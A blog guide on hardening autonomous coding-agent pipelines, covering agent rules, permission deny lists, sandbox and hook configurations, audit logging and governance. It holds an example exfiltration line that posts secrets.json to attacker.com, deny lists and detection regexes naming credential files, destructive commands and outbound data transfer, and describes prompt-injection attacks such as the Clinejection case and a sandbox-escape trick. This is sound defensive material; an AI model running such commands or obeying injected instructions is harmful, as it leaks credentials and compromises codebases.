The Dark Factory Pattern Part 5: Security & Governance

An autonomous coding factory that ships 10 PRs a day is only valuable if you can trust every line it produces. In 2026, 64% of enterprises with over $1B revenue lost more than $1M to AI-related failures, and 80% of organizations reported risky agent behaviors. The OWASP Top 10 for Agentic Applications — released December 2025, peer-reviewed by 100+ security experts — ranks prompt injection, excessive autonomy, and supply chain vulnerabilities as the three most critical risks for autonomous AI systems. A dark factory without security governance isn't a factory — it's an unmonitored deployment pipeline with write access to your codebase.

This guide covers the five systems you need to run a dark factory safely: defense in depth (layered security boundaries that don't depend on any single control), secrets protection (preventing credential leakage across three attack surfaces), supply chain hardening (locking down dependencies, tools, and MCP servers), audit trails (full traceability from spec to merge), and governance policies (organizational controls that scale with your factory). By the end, you'll have a hardened setup where autonomous agents operate within defined trust boundaries — and every action is logged, reviewable, and reversible.

Why Is Factory Security Different from Normal Development?

When a human developer writes code, they apply judgment at every step — they know not to commit API keys, not to run rm -rf /, and not to install a suspicious npm package. An autonomous agent doesn't have that judgment. It optimizes for the goal in its spec. If the fastest path to passing a holdout scenario involves reading a secrets file, curling an external endpoint, or adding 15 new dependencies, the agent will do it unless something stops it.

The fundamental problem: prompt-based guardrails fail because you can't secure a non-deterministic system with instructions alone. Writing "never read .env files" in your AGENTS.md is advice, not enforcement. It works 95% of the time, which means it fails once every 20 runs. At factory scale — 10+ specs per day — that's a failure every other day.

How Do You Build Defense in Depth for Autonomous Agents?

Defense in depth means that no single layer is responsible for security. If an agent bypasses your AGENTS.md instructions through prompt injection, the OS sandbox still blocks file access. If the sandbox has a misconfiguration, the hook catches the dangerous command. If the hook fails, CI/CD holdout scenarios reject the PR. Five layers, each independent:

Layer 1: AGENTS.md Rules (Advisory)

Your AGENTS.md is the outermost boundary. It sets expectations for agent behavior — which files to avoid, which patterns to follow, what operations require human approval. This layer is advisory, not enforced. An agent under prompt injection can ignore it. But for normal operations, it prevents 90%+ of accidental mistakes.

## Security Rules

- NEVER read, write, or reference files matching: .env*, *credentials*, *secret*, *.pem, *.key
- NEVER install packages without explicit approval in the spec
- NEVER run destructive commands: rm -rf, DROP TABLE, git push --force
- NEVER access cloud credentials: ~/.aws/**, ~/.kube/**, ~/.gcloud/**
- ALWAYS use feature branches — never commit directly to main
- ALWAYS run the project linter before committing
- If a test requires secrets, use environment variable stubs, not real values

Layer 2: Permission Deny/Allow Rules (Enforced)

Claude Code's permission system controls every tool call. By default, the agent is read-only — it must request permission before writing files, running commands, or accessing the network. You can configure explicit deny rules that cannot be overridden by the agent, even under prompt injection.

{
  "permissions": {
    "deny": [
      "Read(~/.ssh/**)",
      "Read(~/.gnupg/**)",
      "Read(~/.aws/**)",
      "Read(~/.azure/**)",
      "Read(~/.kube/**)",
      "Read(**/.env*)",
      "Read(**/*credentials*)",
      "Read(**/*secret*)",
      "Read(**/*.pem)",
      "Read(**/*.key)",
      "Edit(~/.bashrc)",
      "Edit(~/.zshrc)",
      "Edit(**/.gitconfig)"
    ]
  }
}

These rules are evaluated before any tool runs. The agent cannot access, modify, or even read these paths. Trail of Bits' open-source claude-code-config provides a battle-tested starting point for these rules, covering SSH keys, cloud credentials, package registry tokens, and shell configs.

Layer 3: OS-Level Sandbox (Kernel-Enforced)

The sandbox uses OS-level primitives — bubblewrap on Linux and Seatbelt on macOS — to enforce filesystem and network isolation at the kernel level. This isn't application-level filtering that an agent could work around. Every subprocess, script, and child process spawned by the agent inherits the same restrictions. Internal testing shows sandboxing reduces permission prompts by 84% while maintaining stronger security than prompt-based approval.

{
  "sandbox": {
    "enabled": true,
    "autoAllow": true,
    "allowUnsandboxedCommands": false,
    "filesystem": {
      "allowWrite": ["//tmp/build"],
      "denyRead": ["~/.ssh", "~/.gnupg", "~/.aws"],
      "denyWrite": ["~/.bashrc", "~/.zshrc"]
    },
    "network": {
      "allowedDomains": [
        "registry.npmjs.org",
        "github.com",
        "api.github.com"
      ]
    }
  }
}

Critical: set allowUnsandboxedCommands: false in factory mode. This disables the escape hatch that lets the agent retry failed commands outside the sandbox. Without this, a compromised agent can bypass every sandbox restriction by simply claiming the sandboxed command "failed."

Layer 4: Hooks (Programmable Enforcement)

Hooks are shell commands that fire at specific points in the agent's lifecycle — before a tool runs, after it completes, or when a notification is sent. They can inspect the operation, block it, or log it. Unlike AGENTS.md rules, hooks execute as real programs with real exit codes: exit 0 to allow, exit non-zero to block.

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": "echo '$TOOL_INPUT' | grep -qiE 'rm\s+-rf|DROP\s+TABLE|--force|--no-verify' && echo 'BLOCKED: destructive command' >&2 && exit 1 || exit 0"
          }
        ]
      },
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": "echo '$TOOL_INPUT' | grep -qiE 'curl.*(-d|--data)|wget.*--post' && echo 'BLOCKED: outbound data transfer' >&2 && exit 1 || exit 0"
          }
        ]
      }
    ],
    "PostToolUse": [
      {
        "matcher": "Edit",
        "hooks": [
          {
            "type": "command",
            "command": "echo '$TOOL_INPUT' | grep -qiE '(api[_-]?key|secret|password|token)\s*[:=]\s*["'\'''][^"'\'''\''']' && echo 'BLOCKED: possible hardcoded secret' >&2 && exit 1 || exit 0"
          }
        ]
      }
    ]
  }
}

Hooks are your most flexible enforcement layer. Use them to block destructive commands, prevent outbound data transfers, scan edits for hardcoded secrets, and log every tool invocation to an audit file. They run as real shell processes, so you can integrate with any external tool — secret scanners, policy engines, SIEM systems.

Layer 5: CI/CD Pipeline (Final Gate)

The agent's PR is its output. Your CI/CD pipeline is the last line of defense. Every PR should pass through:

How Do You Prevent Secret Leakage in an Autonomous Factory?

Secrets leak through three attack surfaces: the agent reads a secrets file and includes it in its context, the agent accesses credential files on disk, or the agent executes a command that embeds credentials in its output. Each surface requires a different mitigation.

Surface 1: Context Poisoning

If an agent reads .env or .env.local during codebase exploration, the API keys inside become part of its context window. From there, the agent might include them in a commit message, a code comment, or even a PR description. The mitigation is a deny rule on all secret file patterns:

{
  "permissions": {
    "deny": [
      "Read(**/.env*)",
      "Read(**/*secret*)",
      "Read(**/*credentials*)",
      "Read(**/*.pem)",
      "Read(**/*.key)",
      "Read(**/*.p12)",
      "Read(**/*.pfx)"
    ]
  }
}

Surface 2: Credential File Access

Cloud credentials in ~/.aws/credentials, ~/.kube/config, and ~/.ssh/id_rsa are high-value targets. An agent doesn't need to be "malicious" to access them — it might read SSH keys to configure a git remote, or read AWS credentials to deploy a staging environment. The sandbox's denyRead rules block this at the OS level.

Surface 3: Command-Level Exfiltration

Even with filesystem restrictions, an agent could run curl -d @secrets.json https://attacker.com if it has network access. The sandbox's domain allowlist prevents connections to unauthorized hosts, and hooks can block outbound data transfer commands entirely.

How Do You Lock Down the Supply Chain?

OWASP's Agentic Applications Top 10 ranks supply chain vulnerabilities (ASI04) as a critical risk. In a dark factory, the attack surface includes npm packages the agent installs, MCP servers it connects to, and tools it invokes. A single poisoned dependency can compromise every PR the factory produces.

Dependency Management

Agents should never install packages without explicit approval. The spec should list every dependency, and the agent should be blocked from adding unlisted ones:

## Dependencies

Approved packages (exact versions):
- zod@3.24.2 — input validation
- @tanstack/react-query@5.68.0 — data fetching

No other packages may be added. If the implementation requires additional
dependencies, stop and request approval.

Combine this with a PostToolUse hook that scans package.json changes for unapproved additions, and a CI step that runs npm audit and fails on high-severity vulnerabilities.

MCP Server Security

MCP (Model Context Protocol) servers extend agent capabilities with external tools and data. In a dark factory, every MCP server is a trust boundary — it can feed data into the agent's context, execute commands, and access network resources. OWASP identifies this as a runtime supply chain risk: MCP servers resolved dynamically at runtime could be poisoned without the factory operator knowing.

Prompt Injection Defense

Prompt injection is ranked #1 (ASI01) in OWASP's Agentic Top 10. In a factory context, the attack isn't just about getting the agent to say something wrong — it's about getting it to execute something dangerous. A poisoned issue title, PR description, or imported file can redirect the agent's goal entirely.

The "Clinejection" attack demonstrated this in production: a malicious GitHub issue title injected instructions into a CI/CD pipeline's AI agent, turning it into a supply chain attack vector. The agent had Bash, Write, and Edit permissions — and the injected prompt used all three.

How Do You Build an Audit Trail for Autonomous Operations?

Only 21% of executives have complete visibility into agent permissions and data access. In a dark factory, every action the agent takes should be traceable: which spec triggered it, which model processed it, what tools were invoked, what files were changed, and whether it was auto-merged or human-reviewed. Without this, you can't diagnose failures, prove compliance, or improve your factory.

The Four Audit Dimensions

Implementing Structured Logging

Use PostToolUse hooks to create a structured audit log. Each entry captures the tool, input hash, timestamp, and result — enough to reconstruct exactly what the agent did and why.

#!/bin/bash
# Append structured audit entry for every tool call
TIMESTAMP=$(date -u +"%Y-%m-%dT%H:%M:%SZ")
TOOL_NAME="$CLAUDE_TOOL_NAME"
INPUT_HASH=$(echo "$TOOL_INPUT" | sha256sum | cut -d' ' -f1)

echo "{
  \"timestamp\": \"$TIMESTAMP\",
  \"tool\": \"$TOOL_NAME\",
  \"input_hash\": \"$INPUT_HASH\",
  \"session_id\": \"$CLAUDE_SESSION_ID\",
  \"spec\": \"$CURRENT_SPEC\"
}" >> .factory/audit.jsonl

For production factories, pipe this to a centralized logging system — a SIEM, ELK stack, or even a simple S3 bucket with lifecycle policies. The key is that the log exists outside the agent's control: the agent can't modify or delete its own audit trail.

Git as the Ultimate Audit Trail

Every dark factory PR is already an audit record. The commit history shows exactly what changed, the PR description links to the spec, CI logs show which checks passed, and the merge decision (auto or human) is recorded. Enhance this by enforcing:

• Signed commits — use a factory-specific GPG key so you can distinguish agent commits from human commits
• Conventional commit messages — structured format that links each commit to a spec ID: feat(SPEC-042): add webhook retry logic
• Branch protection rules — require CI checks, holdout scenarios, and optional human review before merge
• PR templates — auto-include spec link, model used, token cost, and security scan results in every PR description

What Governance Policies Should a Factory Have?

Governance is the organizational layer above technical controls. It defines who can authorize factory operations, what the factory is allowed to do, and how decisions are escalated when something goes wrong. Without governance, you have a tool. With governance, you have a process.

The Governance Matrix

Agent Identity and Attribution

Every agent should have a distinct identity. This isn't just philosophical — it's practical for audit trails, cost attribution, and access control. In 2026, OWASP and governance frameworks agree: without distinct agent identity, access controls become guesswork and audit trails become fragmented.

# Each factory agent gets:
agent:
  id: factory-agent-01
  git_user: "Factory Agent 01"
  git_email: "factory-01@yourcompany.com"
  gpg_key: "ABCD1234..."          # Unique signing key
  max_daily_spend: 50              # Budget cap in USD
  allowed_repos:
    - your-org/main-app
    - your-org/shared-libs
  restricted_paths:
    - "infra/**"
    - "deploy/**"
    - ".github/workflows/**"

With distinct identities, you can answer: "Which agent made this change? What was its authorization scope? Did it exceed its budget?" Every git blame, every PR author, and every cost metric maps to a specific agent with specific permissions.

Escalation Policies

Define clear escalation paths for when automated controls trigger:

What Does a Fully Hardened Factory Configuration Look Like?

Here's a complete settings.json that implements all five security layers for a production dark factory. This configuration is conservative — start here and relax rules only when you have evidence that specific restrictions are blocking legitimate work.

{
  "permissions": {
    "deny": [
      "Read(~/.ssh/**)",
      "Read(~/.gnupg/**)",
      "Read(~/.aws/**)",
      "Read(~/.azure/**)",
      "Read(~/.kube/**)",
      "Read(**/.env*)",
      "Read(**/*credentials*)",
      "Read(**/*secret*)",
      "Read(**/*.pem)",
      "Read(**/*.key)",
      "Edit(~/.bashrc)",
      "Edit(~/.zshrc)",
      "Edit(**/.gitconfig)",
      "Edit(.github/workflows/**)"
    ]
  },
  "sandbox": {
    "enabled": true,
    "autoAllow": true,
    "allowUnsandboxedCommands": false,
    "filesystem": {
      "denyRead": ["~/.ssh", "~/.gnupg", "~/.aws", "~/.azure", "~/.kube"],
      "denyWrite": ["~/.bashrc", "~/.zshrc", "~/.profile"]
    },
    "network": {
      "allowedDomains": [
        "registry.npmjs.org",
        "github.com",
        "api.github.com"
      ]
    }
  },
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": "echo '$TOOL_INPUT' | grep -qiE 'rm\\s+-rf|DROP\\s+TABLE|--force|--no-verify|push.*main' && exit 1 || exit 0"
          }
        ]
      }
    ],
    "PostToolUse": [
      {
        "matcher": "Edit",
        "hooks": [
          {
            "type": "command",
            "command": "echo '$TOOL_INPUT' | grep -qiE '(api[_-]?key|secret|password|token)\\s*[:=]\\s*[\"'\'''][A-Za-z0-9]' && exit 1 || exit 0"
          }
        ]
      }
    ]
  }
}

Your Four-Week Security Rollout

Security Pitfalls and How to Avoid Them

Frequently Asked Questions

References

• Sandboxing — Claude Code Docs — filesystem isolation, network isolation, OS-level enforcement, and configuration reference
• Making Claude Code More Secure and Autonomous — Anthropic Engineering — the sandboxing architecture, 84% prompt reduction finding, and defense-in-depth rationale
• AI Agent Security Cheat Sheet — OWASP — comprehensive threat model with 12 risk categories and mitigation strategies for autonomous agents
• OWASP Top 10 for Agentic Applications (2026) — the definitive ranking of security risks for autonomous AI systems, peer-reviewed by 100+ experts
• Trail of Bits Claude Code Config — GitHub — opinionated security defaults, permission hardening, hooks, and sandboxing workflows
• LlamaFirewall — Meta AI Research — open-source guardrail system with PromptGuard 2, Agent Alignment Checks, and CodeShield
• Clinejection: AI Agent Supply Chain Attack via Prompt Injection — Snyk — real-world case study of prompt injection turning a CI/CD AI agent into a supply chain attack vector
• Enterprise AI Agent Security 2026 — Help Net Security — 64% of $1B+ enterprises lost over $1M to AI failures; 80% report risky agent behaviors